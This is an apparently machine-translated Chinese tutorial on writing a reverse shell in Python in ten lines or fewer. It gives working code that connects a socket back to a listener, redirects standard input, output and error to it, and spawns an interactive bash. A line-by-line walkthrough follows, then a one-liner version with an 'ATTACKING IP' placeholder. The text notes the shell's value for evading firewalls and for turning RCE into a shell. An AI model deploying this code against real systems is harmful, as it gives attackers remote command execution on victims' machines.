用 10 行或更少行在 Python 中编写反向 Shell

仅用 10 行就可以用 Python 编写一个反向 shell? 让我们开始吧。 反向 shell 是任何 Hacking/Pentesting 操作的组成部分。 它有助于逃避防火墙并使我们能够在远程目标系统上执行命令。 在这个模块中,我们将学习如何用 10 行或更少的代码在 python 中创建一个反向 shell。

什么是反向壳?

反向壳示意图

反向shell是一个程序,它启动从受害者计算机返回到正在侦听接收连接的端口的攻击者的连接。 成功连接后,它会释放一个远程 shell,让我们可以在远程机器上执行命令!

为什么我们甚至需要这个?

反向 shell 是任何渗透测试者的武器库的重要组成部分。 一旦我们在远程系统上有了一个 shell,我们就可以执行命令、传输数据等等! 此外,较小的文件不太可能引起注意,正如我们将看到的,我们甚至可以将其全部放在一行中。 反向 shell 不太可能被防火墙标记,因为连接是由受害者自己发起的,因此它被视为正常的出站连接。

在 Python 中实现反向 Shell

#!/usr/bin/python3 from os import dup2 from subprocess import run import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",8888))  dup2(s.fileno(),0)  dup2(s.fileno(),1)  dup2(s.fileno(),2)  run(["/bin/bash","-i"]) 

理解代码

现在,让我们将代码分解成更小的部分,以便更好地理解。

第 1 行:社邦

#!/usr/bin/python3 

这是一个 shebang 行,它定义了要使用的解释器的路径。 在我们的例子中,我们将使用 Python3 作为解释器来运行我们的程序。 如果您的 python3 解释器位于其他地方,请确保将其替换为解释器的完整路径。 作为替代方案,您还可以输入:

#!/usr/bin/env python3 

这个版本更受欢迎,因为它允许跨不同系统的可移植性,以防它们在不同位置安装了语言解释器。

第 2-4 行:导入库

from os import dup2 import subprocess import socket 

在接下来的几行中,我们导入程序所需的库和函数。 导入的库都是标准库,不需要任何额外的 pip 安装。 这些库及其用途是:

  • os -> 我们只从这个特定的库中导入一个函数: dup2 ,我们稍后需要它来复制文件描述符。
  • 子进程 -> 我们需要它来删除远程 shell
  • socket -> 我们需要它来连接到远程攻击者

第 5 行:创建我们的 Socket 对象

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 

在这里,我们创建了一个套接字实例并向其传递了两个参数:

  • socket.AF_INET
  • socket.SOCK_STREAM

这两个参数直接从它们的 C 对应物派生而来。 因此根据定义:

  • socket.AF_INET 意味着我们将使用 IPv4 地址族
  • socket.SOCK_STREAM 意味着我们将使用 TCP 协议进行连接

第 6 行:连接到远程主机

s.connect(("127.0.0.1",8888)) 

在这里,我们连接到特定端口上的远程 IP。 在这里,为了演示,我们将使用我们的本地 IP 127.0.0.1 和端口 8888。但是,您可以将其更改为您想要的任何内容。 请记住,您在此处输入的 IP 应该是攻击者正在侦听的 IP。

第 7-9 行:复制文件描述符

dup2(s.fileno(),0)  dup2(s.fileno(),1)  dup2(s.fileno(),2) 

在这里,我们迈出了非常重要的一步。 首先,让我们熟悉这里的两个重要事项:

  • s.fileno() :这将返回套接字文件描述符。
  • dup2() :我们从 os 库中导入了这个函数,并以两个文件描述符作为参数。 它导致传递给它的第二个文件描述符指向与第一个相同的打开文件描述符。

因此,在第 7 到 9 行,我们将文件描述符映射为 标准输入(0), 标准输出(1) 和 标准错误(2) 以保留的方式进出插座 子流程,即代码执行时 /bin/bash shell 继承重定向并通过套接字与远程用户通信。

第 10 行:调用我们的交互式 Shell

run(["/bin/bash","-i"]) 

这使用传递给它的文件描述符为我们生成了一个交互式 shell。 然而, run() 函数仅在 Python 3.5 中添加,如果您想使用旧版本生成反向 shell,则需要使用 call()

要首先使用 call(),我们需要使用以下命令导入它:

from subprocess import call 

然后,将最后一行替换为:

call(["/bin/bash","-i"]) 

把这一切都当作一个班轮

$ python3 -c 'import socket; from subprocess import run; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING IP",PORT)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);run(["/bin/bash","-i"]);' 

您可以运行以下一个 liner 以获得反向 shell。 不要忘记在执行之前替换放置正确的 IP 和端口。

另外,请记住在您计划捕获 shell 的端口上启动侦听器。 例如,这里我们从我们的 Arch Linux 主机上的 Debian 容器中捕获了一个反向 shell。 首先,我们使用 netcat 在端口 8888 上生成了一个侦听器,然后使用我们的 Arch Machine 的 IP 和指定的端口在我们的 Debian 容器上生成了一个反向 shell!

演示我们的反向 Shell

结论

因此,我们学会了在这个模块中用 10 行或更少的代码创建一个简单的反向 shell。 在某些情况下,您可能会发现单衬里更有帮助。 使用 one-liner,您可以通过 RCE 获得一个外壳。 您还可以使用更复杂的功能编写自己的高级反向 shell,例如 这个